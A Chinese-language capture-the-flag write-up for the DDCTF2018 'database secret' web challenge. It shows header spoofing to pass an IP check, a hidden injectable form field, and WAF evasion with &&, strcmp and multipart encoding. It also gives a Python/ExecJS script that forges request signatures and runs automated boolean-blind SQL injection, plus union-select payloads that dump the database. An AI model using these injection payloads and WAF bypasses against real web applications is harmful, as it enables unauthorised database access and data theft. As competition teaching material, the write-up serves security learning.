DDCTF2018-数据库的秘密

题目链接:http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/index.php

X-Forwarded-For绕过

提示:非法链接,只允许来自 123.232.23.245 的访问。构造含有如下的请求头:

X-Forwarded-For: 123.232.23.245

在burp中发现的确可以有返回结果,但是也不能每次都用手去加请求头,尝试了很多种办法,最终找了两个浏览器的插件:添加请求头在浏览器里直接访问即可

  • ModHeader(chrome)
  • Modify Header Value(firefox)

隐藏的注入点

三个查询字段,四个输出字段,用burp拦截一个查询请求发现POST数据如下:

id=1&title=&date=&author=&button=search

在网页源码中发现author查询字段:

<form id='queryForm' action="index.php" method="post">
	<tr>
	<td width="60">
                 id: <input type="text" id="id" name="id" value="1" />
	<td width="60">
		 title: <input type="text" id="title" name="title" value="" />
        </td>
		<td width="60">
		 date: <input type="text" id="date" name="date" value=""/>
        </td>

		<td width="40">
		  <input type="hidden" id="author" name='author' value=''/>
		  <input type="submit" name="button" id="button"  value="search" onclick="submitt()">
		</td>
	</tr>
</form>

删掉hidden属性,测试author处存在注入点:admin'#查询成功

测试过滤

这里没有报错信息的回显,所以尝试联合查询与盲注

  • 尝试联合查询admin' order by 5 #测试为5个字段
  • 但继续union select被过滤

这里发现,可以查询的所有字段都过了waf,所以没必要每次都先把author输入框显示再测试,直接在id框测试即可,测试拦截了如下:

  • union select
  • and/or =/>/<
  • database(
  • load_file
  • /etc/passwd
  • into outfile

注入方式

SQL注入绕过技巧

联合查询过滤了union select,尝试一些大小写或者放进注释中的绕过均失败,所以认为这里只能采取盲注,尝试布尔盲注,一般payload如下:

admin' and ascii(substr((user()),1,1)) > 1 #

绕过and

但是and =被过滤,尝试用&&代替and||代替or

admin' && ascii(substr((user()),1,1)) > 1 #

绕过比较符号

greates()

admin' and greatest(ascii(substr(user(),0,1)),64) like 64 #

strcmp()

或者用strcmp绕过比较符号

admin' and strcmp(ascii(substr(user(),1,1)),1)#

比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序小于第二个参数顺序返回-1,否则返回1。

mysql> select strcmp(2,1),strcmp(2,2),strcmp(2,3);
+-------------+-------------+-------------+
| strcmp(2,1) | strcmp(2,2) | strcmp(2,3) |
+-------------+-------------+-------------+
|           1 |           0 |          -1 |
+-------------+-------------+-------------+

这里也许可以将数字当成字符串比较:

  • 第一个参数 > 第二个参数 返回 1
  • 第一个参数 = 第二个参数 返回 0
  • 第一个参数 < 第二个参数 返回 -1

但是也出现如下情况:

mysql> select strcmp(2,11);
+--------------+
| strcmp(2,11) |
+--------------+
|            1 |
+--------------+

这是由于他比较了第一个字符产生的,但实际我们在盲注中两个位置的循环是从33-127:

  • 在33-99的循环中,是完全符合的
  • 在100-127的循环中,也是完全符合

会不会出现跨区间的判断呢?如下:

mysql> select strcmp(101,33),strcmp(33,101);
+----------------+----------------+
| strcmp(101,33) | strcmp(33,101) |
+----------------+----------------+
|             -1 |              1 |
+----------------+----------------+
1 row in set (0.00 sec)

是有可能的:

第一个参数 循环结果
33 0 -1
(33,99) 1 0 -1 1
99 1 0 1
100 -1 0 -1
(100,127) -1 1 0 -1
127 -1 1 0

但是其实无所谓,因为:

mysql> select (1 and 1),(1 and -1),(1 and 0);
+-----------+------------+-----------+
| (1 and 1) | (1 and -1) | (1 and 0) |
+-----------+------------+-----------+
|         1 |          1 |         0 |
+-----------+------------+-----------+

只有在0的时候才会返回为假,所以盲注可行,但这里要注意,strcmp可能不区分大小写

mysql> select strcmp('a','A');
+-----------------+
| strcmp('a','A') |
+-----------------+
|               0 |
+-----------------+

校验参数

每次提交的URL中还有两个参数sig和time,其中time为时间戳,sig是根据输入参数生成的校验,这里与三种方式获得sig参数

调试

  • 解码mian.js的内容eval改成alert运行即可,发现调用hex_math_enc函数
  • 断到math.js的hex_math_enc函数,看见如下参数:

id=title=author=date=1time=1524823466adrefkfweodfsdpiru

  • math.js的开头说明:A JavaScript implementation of the Secure Hash Algorithm, SHA-1

ExecJs

直接用python去调用js的函数

Selenuim

直接模拟点击网页

脚本(ExecJS)

先把所有的js合成一个js文件,不要忘记主页的key

web.js

/*
 * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
 * in FIPS PUB 180-1
 * Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
 * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
 * Distributed under the BSD License
 * See http://pajhome.org.uk/crypt/md5 for details.
 */
/*
 * Configurable variables. You may need to tweak these to be compatible with
 * the server-side, but the defaults work in most cases.
 */
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase     */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance  */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode    */
/*
 * These are the functions you'll usually want to call
 * They take string arguments and return either hex or base-64 encoded strings
 */
function hex_math_enc(s) {
 return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
 return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
 return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
 return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
 return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
 return binb2str(core_hmac_math_enc(key, data));
}
/*
 * Perform a simple self-test to see if the VM is working
 */
function math_enc_vm_test() {
 return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
 * Calculate the SHA-1 of an array of big-endian words, and a bit length
 */
function core_math_enc(x, len) {
 /* append padding */
 x[len >> 5] |= 0x80 << (24 - len % 32);
 x[((len + 64 >> 9) << 4) + 15] = len;
 var w = Array(80);
 var a = 1732584193;
 var b = -271733879;
 var c = -1732584194;
 var d = 271733878;
 var e = -1009589776;
 for (var i = 0; i < x.length; i += 16) {
  var olda = a;
  var oldb = b;
  var oldc = c;
  var oldd = d;
  var olde = e;
  for (var j = 0; j < 80; j++) {
   if (j < 16) w[j] = x[i + j];
   else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
   var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
   e = d;
   d = c;
   c = rol(b, 30);
   b = a;
   a = t;
  }
  a = safe_add(a, olda);
  b = safe_add(b, oldb);
  c = safe_add(c, oldc);
  d = safe_add(d, oldd);
  e = safe_add(e, olde);
 }
 return Array(a, b, c, d, e);
}
/*
 * Perform the appropriate triplet combination function for the current
 * iteration
 */
function math_enc_ft(t, b, c, d) {
 if (t < 20) return (b & c) | ((~b) & d);
 if (t < 40) return b ^ c ^ d;
 if (t < 60) return (b & c) | (b & d) | (c & d);
 return b ^ c ^ d;
}
/*
 * Determine the appropriate additive constant for the current iteration
 */
function math_enc_kt(t) {
 return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
 * Calculate the HMAC-SHA1 of a key and some data
 */
function core_hmac_math_enc(key, data) {
 var bkey = str2binb(key);
 if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
 var ipad = Array(16),
  opad = Array(16);
 for (var i = 0; i < 16; i++) {
  ipad[i] = bkey[i] ^ 0x36363636;
  opad[i] = bkey[i] ^ 0x5C5C5C5C;
 }
 var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
 return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
 * Add integers, wrapping at 2^32. This uses 16-bit operations internally
 * to work around bugs in some JS interpreters.
 */
function safe_add(x, y) {
 var lsw = (x & 0xFFFF) + (y & 0xFFFF);
 var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
 return (msw << 16) | (lsw & 0xFFFF);
}
/*
 * Bitwise rotate a 32-bit number to the left.
 */
function rol(num, cnt) {
 return (num << cnt) | (num >>> (32 - cnt));
}
/*
 * Convert an 8-bit or 16-bit string to an array of big-endian words
 * In 8-bit function, characters >255 have their hi-byte silently ignored.
 */
function str2binb(str) {
 var bin = Array();
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < str.length * chrsz; i += chrsz)
 bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
 return bin;
}
/*
 * Convert an array of big-endian words to a string
 */
function binb2str(bin) {
 var str = "";
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < bin.length * 32; i += chrsz)
 str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
 return str;
}
/*
 * Convert an array of big-endian words to a hex string.
 */
function binb2hex(binarray) {
 var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i++) {
  str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
 }
 return str;
}
/*
 * Convert an array of big-endian words to a base-64 string
 */
function binb2b64(binarray) {
 var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i += 3) {
  var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
  for (var j = 0; j < 4; j++) {
   if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
   else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
  }
 }
 return str;
}




function signGenerate(obj, key) {
	var str0 = '';
	for (i in obj) {
		if (i != 'sign') {
			str1 = '';
			str1 = i + '=' + obj[i];
			str0 += str1
		}
	}
	return hex_math_enc(str0 + key)
};
var obj = {
	id: '',
	title: '',
	author: '',
	date: '',
	time: parseInt(new Date().getTime() / 1000)
};

function submitt(id,title,author,date) {
	obj['id'] = id;
	obj['title'] = title;
	obj['author'] = author;
	obj['date'] = date;
	var sign = signGenerate(obj, key);
	//document.getElementById('queryForm').action = "index.php?sig=" + sign + "&time=" + obj.time;
	//document.getElementById('queryForm').submit()
	return "index.php?sig=" + sign + "&time=" + obj.time;
}

exp.py


import requests
import execjs 
import time

def get_js():  
     
    f = open("web.js",'r')  
    line = f.readline()  
    htmlstr = ''  
    while line:  
        htmlstr = htmlstr + line  
        line = f.readline()  
    return htmlstr  
def get_nonce(id,title,author,date):
    jsstr = get_js()  
    ctx = execjs.compile(jsstr)  
    return (ctx.call("submitt",id,title,author,date))

flag=""
old_url="http://116.85.43.88:8080/ZVDHKBUVUZSTJCNX/dfe3ia/"

for i in range(1,400):
    for j in range(33,127):
        #payload = "admin' and strcmp(ascii(substr(user(),%s,1)),%s) #" %(i,j)
        #payload = "admin' and strcmp(ascii(substr((select group_concat(schema_name) from information_schema.schemata),%s,1)),%s) #" %(i,j)
        #payload = "admin' && strcmp(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ddctf'),%s,1)),%s) #" %(i,j)
        #payload = "admin' && strcmp(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctf_key5'),%s,1)),%s) #" %(i,j)
        #payload = "admin' and strcmp(ascii(substr((select secvalue from ctf_key5),%s,1)),%s) #" %(i,j)
        #payload = "admin' and strcmp(ascii(substr((select * from ctf_key5),%s,1)),%s) #" %(i,j)
        url = old_url+get_nonce('','',payload,'')
        
        data ={
            "id": "",
            "title": "",
            "author":payload,
            "date":""
        }
        headers = {'X-Forwarded-For': '123.232.23.245'}

        r = requests.post(url=url,headers=headers,data=data)

        #print r.content
        if "admin" not in r.content:
            flag += chr(j)
            print flag
            break

突发奇想

我在做这道题的时候没有用&&代替and导致我产生了如下幻觉:

爆数据库名,没问题:

payload = "admin' and strcmp(ascii(substr((select group_concat(schema_name) from information_schema.schemata),%s,1)),%s) #" %(i,j)

爆表名,死活就是不行(其实因为这里有and 和 = )

payload = "admin' and strcmp(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ddctf'),%s,1)),%s) #" %(i,j)

绕过where

我以为是过滤了where,如果用如下语句,不用where字句,他会把我的所有表项打出来

select group_concat(table_name) from information_schema.tables;

这道题只有俩数据库,information_schema的表项是固定的(和版本有关),所以我先看一下information_schema表项占了多少个字符,在本地用尝试:

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.1.73    |
+-----------+

mysql> select group_concat(table_name) from information_schema.tables where table_schema='information_schema';

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS 

  • mysql 5.1.73共376个字符
mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.7.21    |
+-----------+


CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_FT_CONFIG,INNODB_SYS_VIRTUAL,INNODB_CMP,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_LOCK_WAITS,INNODB_TEMP_TABLE_INFO,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_FOREIGN_COLS,INNODB_CMPMEM,INNODB_BUFFER_POOL_STATS,INNODB_SYS_COLUMNS,INNODB_SYS_FOREIGN,INNODB_SYS_TABLESTATS
  • mysql 5.7.21 共1004个字符

爆表名

所有直接尝试第一层循环也就是substr()函数的第二个参数从377开始递增,同样可以得到表名ctf_key5,大概如下:

for i in range(377,400):
    for j in range(33,127):
    	payload = "admin' && strcmp(ascii(substr((select group_concat(table_name) from information_schema.tables),%s,1)),%s) #" %(i,j)

爆字段名

字段名过多这里没有采用上一种方式,尝试使用*代替字段名(仅在只有一个字段,一行数据时可用),直接获取flag

payload = "admin' and strcmp(ascii(substr((select * from ctf_key5),%s,1)),%s) #" %(i,j)

waf失效

参考:2018 DDCTF Web 部分writeup

使用enctype=”multipart/form-data”方式提交表单防火墙不拦截,更改表单直接联合查询:

<form id='queryForm' action="index.php" method="post" enctype="multipart/form-data">
admin' union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata #
admin' union select 1,2,3,group_concat(table_name),5 from information_schema.schemata #
admin' union select 1,2,3,group_concat(column_name),5 from information_schema.schemata #
admin' union select 1,2,3,secvalue,5 from ctf_key5 #